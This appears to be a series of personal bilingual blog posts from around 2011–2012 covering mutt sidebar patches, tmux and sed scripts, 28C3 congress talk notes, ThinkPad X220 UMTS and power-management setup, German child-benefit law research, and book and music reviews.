Meine Generation, also die zur Zeit des Niedergangs der DDR oder nach dem Mauerfall Geborenen, sind in meinen Augen sehr pazifistisch eingestellt, und das ist gut so. Rundheraus würde ich sagen: Krieg ist immer falsch.
Leider stimmt das nicht. Ja, wenn man an all die Kriege denkt, die Amerika so geführt hat im Südosten Asiens, oder wie die Kriege in Afghanistan und dem Irak laufen: das ist abgrundtief falsch. – Andererseits muss man sich immer wieder den Ruandischen Genozid vor Augen halten, und die damalige Passivität der UN. Dadurch, dass westliche Mächte nicht eingegriffen haben, obwohl sie ziemlich gut wussten, dass ein riesiger Völkermord passierte, das ist unverantwortlich. – Wenn man sagt "Krieg ist in keinem Fall tragbar", dann öffnet man dem Kulturrelativismus Tür und Tor. Profan ausgedrückt, sagt man: "Lass die Anderen doch mit sich selbst klarkommen. Wenn sie sich abschlachten, dann ist das nicht mein Problem, und nicht einmal notwendigerweise falsch." – eine solche Einstellung ist sehr, sehr gefährlich. Von daher ist für den Pazifisten die Fragestellung, ob es überhaupt legitime Kriege gibt, eine sehr viel schwierigere, als sie auf den ersten Blick scheint.
Im Nachhinein kann man möglicherweise sagen, dass der Einsatz der Bundeswehr als Teil des NATO-Bündnisses in Libyen gerechtfertigt gewesen wäre. Der Einsatz ist mittlerweile beendet, und der Aufbau des Landes kann beginnen. Wenn ein Präsident die Luftwaffe gegen das eigene Volk einsetzt, dann sollte es schwer sein, wegzuschauen. – Natürlich muss man sich überlegen, wer denn die Machtposition Gaddafis über Jahrzehnte gefestigt hat. Aber man kann und darf die Frage nach militärischer Intervention nicht mit einer antiimperialistischen Floskel à la "hätten wir nicht X gemacht ... wäre nicht Y passiert" abtun. Dort sterben Leute.
Ich tue mich auch schwer in der Frage, zumal ich von einer anderen Prämisse ausgehe, was die Situation zugegebenermaßen leichter macht: Ich empfinde nichts für das Staatenkonstrukt Deutschland. Deutsche Kultur, insbesondere die deutsche Sprache und Literatur, sowie klassische Musik bedeutet mir etwas – das geht aber über Staatengrenzen hinaus. Der Großteil von Deutschland – das heißt, alles außerhalb von Hamburg und Berlin – bedeutet mir nichts, ganz einfach nichts. Ich habe da schließlich nie gelebt. Aber ohne die Grundlage von konstruierten Staaten, die gemeinsam agieren, entfällt natürlich die Notwendigkeit zur Verantwortung gegenüber anderen Staaten – es bleibt die Verantwortung von Menschen gegenüber anderen Menschen, und dort sind die Menschenrechte ein ziemlich allgemein akzeptierter Konsens.
Zusammenfassend lässt sich sagen, dass das Buch einige spannende Einsichten, auch in das Wirken von Presse und Politik, bereit hält. Und es ist beeindruckend zu sehen, wie ein ehemaliger überzeugter pazifistischer Aktivist heute Kriege zu legitimieren versucht.
It is generally accepted as an almost universal truth that mutt sucks, but is the MUA that sucks less than all others. While people use either Vim or Emacs and fight about it, I hardly see any people fight about whether mutt is good or bad. There is, to my knowledge, no alternative worth mentioning.
Mutt dates back well into the mid-nineties. As you might imagine, with lots of contributors over the course of almost two decades, the code quality is rather messy.
When development had stalled for quite a while in the mid-2000's, a fork was attempted. While mutt-ng was quite popular for a while, most changes were incorporated back into mainline mutt at some point. (Ironically, the latest article in the mutt-ng development blog is from October 2006 and is titled "mutt-ng isn't dead!"). The development of main mutt gained some momentum again, triggered in large parts by the contributions of late Rocco Rutte.
I remember two big features that the original mutt authors just wouldn't integrate into mainline: The headercache patch and the sidebar patch. About the former I can't say anything, but lately I've been fixing the Sidebar patch in various places. (We use mutt at work and rely heavily on e-mail communication, so we'd like a bug-free user agent, naturally.)
When all the mutt forking went about five years ago, I didn't know much about it. Retrospectively, I see the people did a hell of a job. Long before mutt-ng was forked, Sven told me he and Mika met in Graz for several weeks to sift and sort through the availbale patches, intending to do a "super patch".
Mutt's code quality is arguably rather messy.
On top of that, the Sidebar patch tries to make it even worse. Imagine this: mutt draws a mail from position (line=x,char=0) to the end of the line. Now the sidebar patch will introduce a left "margin", such that the sidebar can be drawn there. Thus, all code parts where a line is started from the leftmost character has to be rewritten to check if the sidebar is active and possibly start drawing at (line=x,char=20).
The sidebar code quality is a fringe case of bad code. Really, it sucks. However, there's no real way to "do it right", since original mutt never planned for a sidebar.
Who maintains the sidebar patch? – Not sure. There's a version at thomer.com, but he says:
July 20, 2006 I quit. Sadly, there seems to be no desire to absorb the sidebar patch into the main source tree.
The most up-to-date version is found at Lunar Linux. Last update is from mid-2009.
Debian offers a mutt-patched
package that includes the
sidebar patch, albeit in a different version than usually found 'round
the net. In short, this patch is a mess, too.
But since I made all the fixes, I decided to contact the package's maintainer, Antonio Radici. He promptly responded and said he'd happily fix all the issues, so I started by opening two bug reports. Nothing has happened since.
The patches run quite stable for my colleagues, so I think it's best to release them. Maybe someone else can use them. Please note that I have absolutely no interest in taking over any Sidebar patch maintainance. ;-)
For some of the patches I provide annotations. They all feature quite descriptive commit messages, and apply cleanly on top of the Debian mutt repository's master branch.
The first four patches are not by me, they are just the corresponding
patches from the debian/patches/
directory applied to have a
starting point.
The first few patches fix rather trivial bugs.
Now come the performance critical patches. They are the real reason I was assigned the task to repair the sidebar:
This patch fixes a huge speed penalty. Previously, the sidebar would count the mails (and thus read through the whole mbox) every time that mtime > atime! This is just an incredible oversight by the developer and must have burned hundreds of millions of CPU cycles.
This introduces a member `sb_last_checked' to the BUFFY struct. It
will be set by `mh_buffy_update', `buffy_maildir_update' and
`buffy_mbox_update' when they count all the mails.
Mboxes only: `buffy_mbox_update' will not be run unless the
condition "sb_last_checked > mtime of the file" holds. This solves
a huge performance penalty you obtain with big mailboxes. The
`mx_open_mailbox' call with the M_PEEK flag will *reset* mtime and
atime to the values from before. Thus, you cannot rely on "mtime >
atime" to check whether or not to count new mail.
Also, don't count mail if the sidebar is not active:
Then, I removed a lot of cruft and simply stupid design. Just consider one of the functions I removed:
-static int quick_log10(int n)
-{
- char string[32];
- sprintf(string, "%d", n);
- return strlen(string);
-}
That is just insane.
Now, customizing the sidebar format is simple, straight-forward and mutt-like:
sidebar_format
Format string for the sidebar. The sequences `%N', `%F' and
`%S' will be replaced by the number of new or flagged messages
or the total size of the mailbox. `%B' will be replaced with
the name of the mailbox. The `%!' sequence will be expanded to
`!' if there is one flagged message; to `!!' if there are two
flagged messages; and to `n!' for n flagged messages, n>2.
While investigating mutt's performance, one thing struck me: To decode a mail (eg. from Base64), mutt will create a temporary file and print the contents into it, later reading them back. This also happens for evaluating filters that determine coloring. For example,
color index black green '~b Julius'
will highlight mail containg my name in the body in bright green (this is tremendously useful). However, for displaying a message in the index, it will be decoded to a temporary file and later read back. This is just insane, and clearly a sign that the mutt authors wouldn't bother with dynamic memory allocation.
By chance I found a glib-only function fmemopen()
,
"fmemopen, open_memstream, open_wmemstream - open memory as stream".
From the commit message:
When searching the header or body for strings and the
`thorough_search' option is set, a temp file was created, parsed,
and then unlinked again. This is now done in memory using glibc's
open_memstream() and fmemopen() if they are available.
This makes mutt respond much more rapidly.
Finally, there are some patches that fix various other issues, see commit message for details.
There you go. I appreciate any comments or further improvements.
Update 1: The original author contacted me. He told me he's written most of the code in a single sitting late at night. ;-)
Update 2: The 16th patch will make mutt crash when you compile it with -D_FORTIFY_SOURCE=2
. There's a fix:
0020-use-PATH_MAX-instead-of-_POSIX_PATH_MAX-when-realpat.patch (thanks, Jakob!)
Update 3: Terry Chan contacted me. All my patches are now part of the Lunar Linux Sidebar Patch.
Update 4: The 15th patch that uses open_memstream
uncovered a bug in glibc. See
here and
here.
Ich habe erstaunlich wenig gelesen die letzten paar Monate. Außerdem habe ich zwei Bücher nicht zu Ende gelesen, was sonst gar nicht meine Art ist.
Die unfertigen Bücher: David Foster Wallace: The Pale King, war mir viel zu unklar und querbeet. Man muss sich vorstellen, dass jemand das Thema "Boredom" am Beispiel einer merkwürdigen Ansammlung von Steuereintreibern im Illinois der '70er Jahre veranschaulichen will. Und das Buch ist, nicht zuletzt aufgrund seiner Sprache, unglaublich schwer lesbar. Typisch DFW, nur nicht mitreißend. (Konstant lustig ist nur die Situationen, in die "David Wallace" aufgrund der Namensverwechslung gerät.) – Dann habe ich mir auf einer Zugfahrt große Teile von Michail Bulgakow: Der Meister und Margarita gegönnt. Aber über der Hälfte, und als sie Besen reitend noch immer Unsinn reden, habe ich das Buch wieder weg gelegt. Ich habe von dem Autor mehr erwartet, nachdem mir mehrere Leute von ihm vorgeschwärmt hatten.
Einen weiteren Roman habe ich von Bret Easton Ellis gelesen: Less than Zero. Der war wesentlich besser als "The Rules of Attraction": Einfach mehr, und bessere Dekadenz. – Auch von Irvin D. Yalom habe ich ein zweites Buch gelesen, nachdem mir "Und Nietzsche weinte" sehr, sehr gut gefallen hatte. (Der Film ist keinesfalls zu empfehlen.) Die Schopenhauer-Kur ist nicht historisch, dafür mit allerlei historischen Notizen gespickt. Ein schöner Roman.
Peter Seibel: Coders at Work ist ein schönes Buch: In 20 Interviews stellen sich Programmiergrößen wie Jamie Zawinsky und auch Donald Knuth einem ganzen Katalog von Fragen: Debuggen via Single-Stepping, oder doch lieber Quick'n'dirty-Print-Statements? Editor oder IDE? Was war der härteste Bug, den sie je behoben haben? – Alles in allem der wunderbare Beweis dafür, dass diese Leute auch nur Menschen sind, außerdem gibt es Gelegenheit, über das eigene Codeschreiben zu reflektieren, und eventuell gewisse Fallstricke bei der Projektplanung bei Anderen wie bei sich selbst aufzudecken.
(Ich habe dieses Buch als Anlass genommen, mir The Art of Computer Programming, Band 1, zu kaufen. Ob sie dieses Buch gelesen haben wurden nämlich auch fast alle gefragt. Durch den "harten, mathematischen Teil" bin ich schon gut durchgekommen, aber mit dem MIX-Teil habe ich erst ein bisschen begonnen.)
David Foster Wallace: Everything and More ist grandios. Es ist der erste Nicht-Roman, den ich von DFW gelesen habe. Im wesentlichen geht es um die Eigenschaften der reellen Zahlen, die einen Mathematikstudenten im ersten Semester in Analysis I tage-, wenn nicht sogar wochenlang beschäftigen: Wie kann es sein, dass es unendlich viele rationale Zahlen sind, sie aber 0% der reellen Zahlen ausmachen? Wie kann es verschiedene "Größen" von Unendlichkeit geben? – Das ganze bettet DFW liebevoll in einen historischen Kontext und mathematisch nicht ganz präzise, aber doch wunderbar verständliche, selbst erfundene Notation ein. Schon der Untertitel deutet einiges an Sprachwitz an: A Compact History of Infinity. Für Mathematikinteressierte definitiv zu empfehlen!
Usually, I name my tmux sessions according to what project I'm working on. To
attach a specific session, I use a custom tm
function, with the appropriate
completion:
# 2011-10-19: tmux shortcut for creating/attaching named sessions
tm() {
[[ -z "$1" ]] && { echo "usage: tm <session>" >&2; return 1; }
tmux has -t $1 && tmux attach -t $1 || tmux new -s $1
}
# 2011-10-19
# stolen from completion function _tmux
function __tmux-sessions() {
local expl
local -a sessions
sessions=( ${${(f)"$(command tmux list-sessions)"}/:[ $'\t']##/:} )
_describe -t sessions 'sessions' sessions "$@"
}
compdef __tmux-sessions tm
It looks like this:
A colleague use this, but with a modification. If [[ -z "$1" ]]
, he'll simply
do a tmux attach
, which will attach the last recently used session.
Seit dem 1. Januar wird das Kindergeld unabhängig vom Einkommen des Kindes gewährt. Damit fällt die bisherige Grenze von 8.004 Euro pro Jahr weg.
Ich habe ja keine Ahnung von Jura und den Techniken von Juristen. Aber es sieht mir so aus, als ob da sehr, sehr wenig automatisiert wurde bisher. Als naiver, und (im positiven Sinne) fauler, technisch versierter Mensch, stelle ich mir das so vor:
Aber: denkste! Nach zehn Minuten Recherche bin ich in etwa so weit: Das "Steuervereinfachungsgesetz 2011" wurde am 19. Juni 2011 beschlossen, und im BGBl. I S. 2131 (Nr. 55) im Artikel 12 bekannt gegeben. (Das Original im PDF gibt es hier von bgbl.de.) Das liest sich so:
2. § 2 wird wie folgt geändert:
a) In Absatz 2 werden die Sätze 2 bis 10 durch die folgenden Sätze ersetzt:
„Nach Abschluss einer erstmaligen Berufsausbildung und eines Erststudiums wird ein Kind in den Fällen des Satzes 1 Nummer 2 nur berücksichtigt, wenn das Kind keiner Erwerbstätigkeit nachgeht. Eine Erwerbstätigkeit mit bis zu 20 Stunden regelmäßiger wöchentlicher Arbeitszeit, ein Ausbildungsdienstverhältnis oder ein geringfügiges Beschäftigungsverhältnis im Sinne der §§ 8 und 8a des Vierten Buches Sozialgesetzbuch sind unschädlich."
Ahh, gut, denke ich mir – und was stand denn ehemals in § 2, Abs. 2, Satz 2–10 BKGG? Jetzt steht da nämlich natürlich nur die neue Fassung!
Immerhin kann buzer.de schonmal alle Gesetze, die ein anderes Gesetz ändern, auflisten, also eine Art Versionshistorie: Änderungen am BKGG.
Leider kann man aber nicht einfach die vorherige Version via der Wayback Machine aufrufen, denn die robots.txt von bauzer.de liest sich u.a. so:
User-agent: ia_archiver
Disallow: /
Großartig. Justlaw.de haben genau den gleichen Eintrag. Dejure.de ist nur zweimal in 2006 archiviert worden, das hilft auch nicht wirklich.
Wie komme ich nun an ein Text-Diff? Unter recht-in.de gibt es prinzipiell die Möglichkeit, eine alte Version abzurufen, nur leider wurden aufgrund der Beendigung der Kooperation mit der Rechtsdatenbank
[w]ie bereits angekündigt ... alle Urteile, Gesetze und Kommentare von recht-in.de entfernt. Wir bedanken uns für das entgegengebrachte Vertrauen.
Dang!
Durch Zufall stoße ich auf lexetius.com, und da gibt es genau das, was ich brauche, zum Beispiel hier die Gegenüberstellung der alten und neuen Version des PfandBG – leider nur ist das BKGG nicht aufgeführt. Der Mensch, der das gemacht hat, wurde anscheinend auch für einen Preis auf dem EDV-Gerichtstag 2009 nominiert. Wonach ich also suche, ist ein Gesetz in "historisch-synoptischer Edition". Sowas gibt es für das BGB auch als PDF, von dem Autor von lexetius.com.
Und endlich, schließlich, nach über vierzig Minuten Recherche und mit dem neuen Stichwort "synoptisch" bzw. "Synopse" lande ich via Google(!), weil ich das Nutzerinterface zunächst nicht kapiert hatte, wieder bei buzer.de. Dort sieht die Gesetzesänderung so aus (Link hinter dem Bild geht zur Seite):
Wow. Diese Seite muss ich mir wirklich merken!
Was habe ich gelernt? – Auch wenn ich es niemals vorhatte, merke ich doch, wie richtig es war, nicht Jura zu studieren. Und ich muss mir dieses Jahr keine Sorgen um eventuelle Kindergeldrückzahlungen machen.
I started this blog exactly one year ago. Over the course of this year, I wrote 105 articles. That is not really much, and I want to write more – just about the stuff that's on my mind. So stay tuned. ;-)
A Happy New Year to all my readers!
Ich war ehrlich gesagt die letzten beiden Tage nicht im bcc, sondern habe nur von zu Hause Streams geschaut. Den letzten Congress über war ich komplett beschäftigt, hatte immer was zu tun, bin zu nichts gekommen – und dieses Jahr sind so gut wie alle Leute, die ich sonst immer dort getroffen habe, nicht da gewesen. Die Atmosphäre ware gefühlt nicht so nett wie noch die vergangenen Jahre.
Die Bitcoin-Analyse war nett und aufschlussreich. Aber auch hier gab es direkt Contra im Publikum und vor allem im IRC – ich weiß da nie so recht, was man glauben soll. Interessant, dass sie den Fakt gebracht haben, dass Rick Falkvinge seine Altersvorsorge in BTC angelegt hat.
Der "Cellular protocol stacks for Internet"-Talk war sicherlich aufschlussreich, wenn man durch die ganzen Akronyme durchgestiegen ist. Ich habe nichts verstanden.
"The Hack will not be televised?" war eine nette Kollektion von Filmen, von denen ich einige auch noch nicht gesehen hatte. Der Fnord-Jahresrückblick war ganz nett.
Ich habe mir extra den Wecker gestellt, um nach nur fünf Stunden Schlaf für den Talk um 13:30 aufzustehen, "bup: Git for backups". Leider gab es keine Demo, und nur wenige Informationen, die über das Lesen der Doku hinausgingen.
I was just watching an old DVD of mine (from 2003), but was annoyed that the video had "hardcoded" black bars at the top and the bottom and was in interlaced format. A fast motion looks like this:
But mplayer can do everything! You just need to know how. Here it is: Use the
cropdetect
video filter, skip to the actual video and let it run for a while
(it will detect the black areas that don't change). Then copy the output:
$ mplayer -vf cropdetect dvd://
...
[CROP] Crop area: X: 5..717 Y: 57..421 (-vf crop=704:352:10:64).
Now, play the movie in 4:3 aspect racio, and force cropping at the numbers you
just found out. Additionally, use the yadif
deinterlacer:
$ mplayer -aspect 4:3 -vf yadif,crop=704:352:10:64 dvd://
Now the same scene (with heavy motion) looks much nicer:
Heute nicht so viele Talks geschaut. "Reverse-engineering a Qualcomm baseband" war irgendwie verdammt cool – einen GDB an den Debug-Port eines USB-3G-Adapters anschließen und allerlei Disassembly-Magie betreiebn – aber leider (sprachlich) schwer zu verstehen.
Der Nachfolgende Talk, "Post Memory Corruption Memory Analysis", hatte unglaubliches Potenzial. Den Menschen hätte man mal zwei Stunden lange reden lassen sollen. Leider konnte er nur einen kleinen Teil seiner 90 Folien zeigen, und war glaube ich von der ziemlich unwissenden Audienz ein wenig geschockt. Ist nunmal nicht die Blackhat.
Ich habe mich das erste Mal mit
PIE
außerhalb von -fPIC
auseinandergesetzt, was ja im ersten Moment
nicht schlecht klingt. Sein Exploit habe ich nicht so 100% verstanden.
Die Technik aber ist super-elegant: Einfach den Prozess einhundert Mal
wegforken, überprüfen, wo die Adressen anlaufen, und daraus eine
höchstwahrscheinliche Stelle finden. Simpel, aber scheint gut zu
funktionieren.
Erst dachte ich, dass ich einfach bloß vergessen hätte, dass ich heute schon die taz gelesen hatte. Der komplette Artikel inklusive diverser Formulierungn kam mir bekannt vor. Aber dann habe ich nochmal nachgeschaut, und der Artikel "Liebesaffäre" mit Diktatoren (taz) und "Liebesaffäre zwischen westlichen Technologie-Unternehmen und Diktatoren" (Zeit online) ist in vielen Teilen fast im Wortlaut gleich. Einzelne Sätze sind korrigiert bzw. hinzugefügt.
Ehrlich? Liefert die DPA so gut vorstrukturierte Artikel, dass man da nur noch einen Absatz reinfüllen muss, und das als "eigenes" verkaufen kann?
Die Rechnung "Lange schlafen und Keynote mit Laptop im Bett gucken" ging nichtso ganz auf: Das Netz im bcc war flaky und deshalb kamen die FEM-Streams nicht aus dem Gebäude heraus. Dafür in Ruhe geduscht. Der nachfolgende Talk von Anne Roths war interessant – ich hatte die wesentlichen Aspekte der Dresden-Affäre gar nicht so wirklich mitbekommen.
Der Vortrag über die Sicherheit von Eisenbahnnlagen war interessant und unheimlich zugleich. Bei auf physikalischem Kontakt oder simplen Induktionen basierenden Notbremssystemen haben Saboteure auf offener Strecke ja wirklich ein leichtes Spiel. (Sidefact: Dass Sitzplatzreservierungen in den ICEs immer noch per Diskette eingespielt werden lässt auch ein bisschen erahnen, wie "modern" die Technik der Bahn bisweilen ist.)
Die Talks hatte ich von zu Hause mit den mittlerweile funktionierenden Streams geguckt. Dann wollte ich schnell ins bcc los, um einen Platz in Saal 1 zu finden. Hat leider nicht geklappt.
Daraufhin saß ich für den zweiten Part der Talks auf Ebene A mit Kabelnetz und habe weiter Streams geschaut. Den Staatstrojaner-Talk habe ich nur teilweise gehört, den Großteil der Details hatte ich aber auch schon in der Entstehung verfolgt, von daher nicht viel neues.
Travis' Talk über PIP-Exploits war hingegen äußerst interessant. Schaut euch den am besten selbst an (z.B. beim FEM-On-Demand-Stream). Die wesentliche Idee, die man im Hinterkopf behalten sollte: Man kann prinzipiell, und wenn man genügend Bandbreite hat, Radio-Frames ohne Radio-Equipment verschicken – also IP-Pakete schicken, die mit gewisser Wahrscheinlichkeit als andere Pakete aufgefasst werden, wenn Sie über Wireless-Equipment an den Empfänger geschickt werden. Das ganze ist standards-compliant und ist ein (OSI-)Level-1-Exploit. Beeindruckend.
In der Pause habe ich mir einen Sitzplatz organisiert in Saal 1. Der anschließende Talk, The coming war on general computation, war nicht neu, aber rhetorisch sehr gut (ohne Slides). Ich habe allerdings nur mit halbem Ohr zugehört. Zum Glück gibt es solche Leute, die sich mit lernresistenten Politikern und Lobbyisten herumschlagen.
Bei Karsten Nohls Talk konnte man schon im Voraus davon ausgehen, dass etwas beeindruckendes präsentiert werden würde. Das war dann auch so. Wie bei den beiden vorherigen Talks gilt wieder: Dringend anschauen, und sich im Klaren darüber sein, dass GSM im wesentlichen kaputt ist. Oh, und: In Zukunft die Handyrechnung mal genauer untersuchen, wenn sie erstaunlich hoch ist. ;-)
Danach kam Dan Kaminskys "Black Ops of TCP/IP 2011". Dan hat häufig interessante Ideen aber hat irgendwie weder primärquellen oder veröffentlicht Resultate so, dass sie auffindbar oder nachvollziehbar wären. (Eine Ausnahme, die mir einfällt, ist das DNS-Tunneling-Tool OzymanDNS.) Der Talk ging zunächst um BitCoins, an denen er eineige mehr oder weniger interessante und geeky-lustige Feststellungen machte. Schließlich kam er dann doch noch auf TCP/IP zu sprechen, um später auch noch etwas zu Net-neutrality/QoS zu erzählen. Interessante Anregungen – aber irgendwie nicht so wirklich aufschlussreich. Dazu kommt, dass er schnell redet und gleichzeitig andere Infos auf den überfüllten Slides stehen hat. Eins zur Zeit geht, beides nicht...
Die nachfolgende Pentanews Game Show war gefühlt schlechter und schlechter programmiert (vom Interface her) als letztes Mal.
Ich habe merkwürdige Probleme mit dem WLAN beim Congress. Ich führe das momentan darauf zurück, dass es mehrere APs mit der gleichen ESSID gibt, und natürlich ein beträchtliches Noise-Level herrscht. Das Problem tritt ortsunabhängig und sowohl auf 5Ghz und 2.4Ghz auf, und liest sich im Log wie folgt:
[86969.683316] wlan0: authenticate with b4:a4:e3:64:8d:cd (try 1)
[86969.684909] wlan0: authenticated
[86969.685164] wlan0: associate with b4:a4:e3:64:8d:cd (try 1)
[86969.688341] wlan0: RX AssocResp from b4:a4:e3:64:8d:cd (capab=0x1 status=0 aid=25)
[86969.688351] wlan0: associated
[86996.951510] wlan0: deauthenticating from b4:a4:e3:64:8d:cd by local choice (reason=2)
Man beachte die 27 Sekunden, die zwischen Association und Deassociation liegen.
Manchmal ist auch reason=3
. Ich habe diverse Optionen für das
iwlagn
-Modul ausprobiert, um das Problem zu lösen (u.a.
11n_disable=1
und swcrypto=1
), allerdings ohne Erfolg. Wenn ich
allerdings nicht via iwconfig
arbeite, dann geht es: Ich habe das
erste Mal wicd
installiert und benutzt, und damit funktioniert das
WLAN wunderbar. Keine Idee, warum.
Did you know the -s
switch to sed
? I had the strange effect that
operating on several files produced different results between when I
called sed
repeatedly in a for
loop and passing all the files as
arguments just once. – -s
tells sed
not to consider all
files to be one big stream, but to separate them from each other.
Anyway, here's a script that searches all the posts now and gives me numbers on the tags I already used.
#!/bin/sh
sed -s -n '
/---/,/---/ {
/tags:/ {
s/^tags: \[//;
s/\]$//;
s/, */\n/g;
p
}
}' ~/blog/_posts/*.markdown | sort | uniq -c | sort -n
I'll be at the 28th Chaos Communication Congress the next few days. If you are there, too, write me an email or text me.
I haven't throughly looked at the Fahrplan yet. But there are some classics there already, for example Dan Kaminsky, the Fnord News Show or a new Neusprech talk by maha.
Some other talks seem promising: Deceiving Authorship Detection will unveil two tools for detecting and obfuscating authorship patterns; The future of cryptology: which 3 letters algorithm(s) could be our Titanic? also sounds cool.
I was surprised to see a talk about "bup". Usually, the Congress has a very un-techy focus. To outsiders this might sound strange, but it's mainly about ideas, not so much about technology of the status quo. Talk topics normally include "What if X happens?" (where X is in: internet lockdown, censorship, Aliens arrive, ...), "How can we hack X?" (X being: CCTVs, mobile devices, our government, ...), "How we hacked X" (where X might just be your occasional airport access control badges system).
Anyway, I hope I'll have some time to play around with stuff I had on my mind for some time now.
Preparation for tomorrow's Keynote: Evgeny Morozov's TED talk.
Mein Bruder interessiert sich seit einiger Zeit sehr für Fotografie und macht wirklich gute Bilder. Die folgenden Fotos von mir hat er über die Feiertage gemacht:
Mit Axel und Frank kam ich
auf Gits eigenes grep
zu sprechen. Warum wird die Funktionalität da
gedoppelt und neu programmiert?
Ein Auszug meiner Antwortmail an die beiden, für das Blog mit Links angereichert:
Im wesentlichen leistet git-grep das gleiche wie grep auf allen verwalteten Dateien. ABER es ist, und das war m.E. die Hauptmotivation dahinter, es überhaupt zu schreiben, viel schneller als reguläres grep. (Und reguläres grep zu schlagen ist ja bekanntermaßen schon schwer.)
Zum Beispiel, wenn man im Kernel-Tree greppt. (Alle Kommandos mehrfach ausgeführt, so dass der Cache voll ist.)
$ time grep foo -- **/*.c NO grep foo -- **/*.c &>| /dev/null 17.67s user 0.22s system 99% cpu 17.928 total $ time git grep foo -- **/*.c NO git grep foo -- **/*.c &>| /dev/null 6.17s user 0.31s system 109% cpu 5.888 total
Viel beeindruckender wird es noch, wenn man für git-grep das Globbing-Muster erst gar nicht angibt.
$ time git grep foo NO git grep foo &>| /dev/null 0.66s user 0.30s system 342% cpu 0.281 total
Oder alternativ ein Globbing-Muster angibt, das aber nicht erst von der Shell expandieren lässt:
$ time git grep foo -- '*.c' NO git grep foo -- '*.c' &>| /dev/null 0.46s user 0.16s system 300% cpu 0.208 total
Also noch mal zusammengefasst: Wenn ich in allen C-Dateien nach "foo" greppe, bin ich mit der Git-Version auf meinem System 17.9/0.208 = 86.05 mal so schnell wie reguläres grep. Anders ausgedrückt: Das eine Kommando dauert, das andere ist fast "sofort da".
Wie das geht? Im wesentlichen ist das auf Multithreading zurückzuführen. (Sieht man ja auch an den CPU-Zahlen: grep bei ca. 100% = eine CPU, git-grep bei >300% = drei CPUs.)
Im Mutltithreading-Modus von git-grep gibt es den Haupt-Thread, der einfach alle Blobs einsammelt, die überprüft werden sollen, und die an acht Threads weitergibt, die dann entsprechend asynchron die Matches durchschauen können, aber trozdem alles in einer sinnvollen Reihenfolge ausgeben. (Details: builtin/grep.c)
I've been toying around with the UMTS module in my X220 lately. I got a pre-paid SIM from blau.de, who offer 24h UMTS flatrates for 2,40 EUR. (This is probably my use case: Being somewhere without internet access for a day or two. This only happens so often, so I don't want a "real" flat.)
My UMTS card is manufactured by Sony Ericsson and connected via internal USB:
$ lsusb -v -s 004:003
...
idVendor 0x0bdb Ericsson Business Mobile Networks BV
idProduct 0x1911
The installation is easy: Just insert the SIM card behind the battery
as shown
here.
Add yourself to the dialout
group, log in again, and you're set.
You can first connect to your device using chat
or picocom
(which
you can be terminated via C-a C-x). To ask if you can use the SIM
without PIN, send the AT+CPIN?
command:
$ picocom /dev/ttyACM0
...
AT+CPIN?
+CPIN: READY
If you're not ready to go, I would disable the PIN request using a regular phone. (I did.)
Dialling out is easy. I set up two profiles in the /etc/wvdial.conf
that allow me to switch between "pay per megabyte" and "dayflat":
[Dialer blau]
Modem = /dev/ttyACM0
Init1 = AT+CGDCONT=1,"IP","internet.eplus.de"
Stupid mode = 1
phone= *99#
Username = blau
Password = blau
[Dialer tagesflat]
Modem = /dev/ttyACM0
Init1 = AT+CGDCONT=1,"IP","tagesflat.eplus.de"
Stupid mode = 1
phone= *99#
Username = blau
Password = blau
The rest happens automatically, once you invoke wvdial blau
or
wvdial tagesflat
. (Note you have to execute these with root
privileges because they want to modify pppd-related config files.)
Most probably you want the follow-up command route add default dev
ppp0
to route all traffic via the ppp0 interface.
In a test run I got a downstream speed of 190KB/s (city perimeter). Working over SSH is not painful at all.
I also played around with gammu a little bit.
$ gammu --identify
Device : /dev/ttyACM0
Manufacturer : Lenovo
Model : unknown (F5521gw)
Firmware : R2A07
The Wammu interface is nice, it can even receive SMS. But sending SMSes failed so far:
$ echo "Das ist ein Test" | gammu --debug textall --debug-file /tmp/gammu \
sendsms TEXT +491785542342
...
1 "AT+CMGS=28"
2 "> 079194710716000011000C919471584532240000FF10C4F01C949ED341E5B41B442DCFE9^Z"
3 "+CMS ERROR: 500"
... which is somewhat of an "generic error". Maybe sending SMS is not supported at all. I'll look into that later.
Also, I'll have a look whether my Card supports GPS information retrieval. Thinkwiki claims a similar model does this. Interesting.
Update: Actually, I forgot one thing. I keep the following two entries in my /etc/wvdial.conf
:
[Dialer on]
Modem = /dev/ttyACM0
Init1 = AT+CFUN=1
[Dialer off]
Modem = /dev/ttyACM0
Init1 = AT+CFUN=4
The actual sequence is now: wvdial on && wvdial blau
. The AT+CFUN=1
will
activate the radio equipment, which is necessary. And, suddenly, also SMS delivery works! :-)
I got a brand new Thinkpad X220 on thursday. I'm not much into hardware, I think it should mainly work. I have a model with 4 GB of RAM, an i7 at 2.7 GHz, UMTS preinstalled, SSD instead of a HDD and an IPS panel. It's a really nifty thing.
Paying the extra money for the SSD is totally worth it. Everything happens instantaneous. The bootup process is down to five seconds. The IPS panel is really worth it, too. ThinkPads have long been criticized for their bad displays – with the new panel at full brightness, my regular screen looks really dim and grey...
The Debian netinstall works smoothly. I haven't come around to testing all the stuff like the DisplayPort connectors, Bluetooth, UMTS, USB 3.0. But the usual stuff works out of the box.
However, there are major problems with the power management of both
the graphics card and the whole system, the latter one being a
regression in the recent 3.0 and 3.1 kernel series regarding
ASPM.
Currently I'm using the 3.1.0-1-amd64 kernel with the
pcie_aspm=force
boot parameter. I cannot really see a difference in
power consumtion when varying this parameter, though.
A major thing,
however, is re-enabling the RC6 mode of the graphics chip. This alone
saves more than 4W when the computer is in an idle state. My
/etc/modprobe.d/i915-kms.conf
looks like this now:
options i915 modeset=1
options i915 i915_enable_rc6=1
options i915 i915_enable_fbc=1
options i915 lvds_downclock=1
Suspend/resume works fine, no flickering effects. I use the following command to find out the current power consumption:
while sleep 1; do
awk '{printf"%.2f\n",$1/-1000}' < /sys/devices/platform/smapi/BAT0/power_now;
done
This requires the tp_smapi
kernel module to be loaded. With full
brightness (0) and while writing this blog article, the consumption is at
~12W; with medium brightness (8) it's ~8.5W; at the lowest brightness
(15) it's ~8W; With the display completely turned off, it's ~6.5W.
There are people who
claim
they only have an ~5.4 power consumption. If you have any other hints
on this or if you own an X220 yourself, I'd be interested in the details.
Das Video ließ es ja schon erwarten: Das Album Kauft nicht bei Zugezogenen, das man sich hier runterladen kann, steckt voller lustiger Hommagen und längst überfälliger Kritik am Berlin-Hype.
Mal ein Zitat aus "Jugend O.S.T.", durchsetzt mit Samples altbekannter Raps (kursiv markiert):
Ich stürzte in die Schwärze, in die Leere /
Rap ist meine Schwester und ich schütze ihre Ehre /
Meine Jugend versaute ich durch das Verweigern von Befehlen /
doch ich schicke deine Homies ins Gehege /
ich schalte dich aus, schalte auf stur /
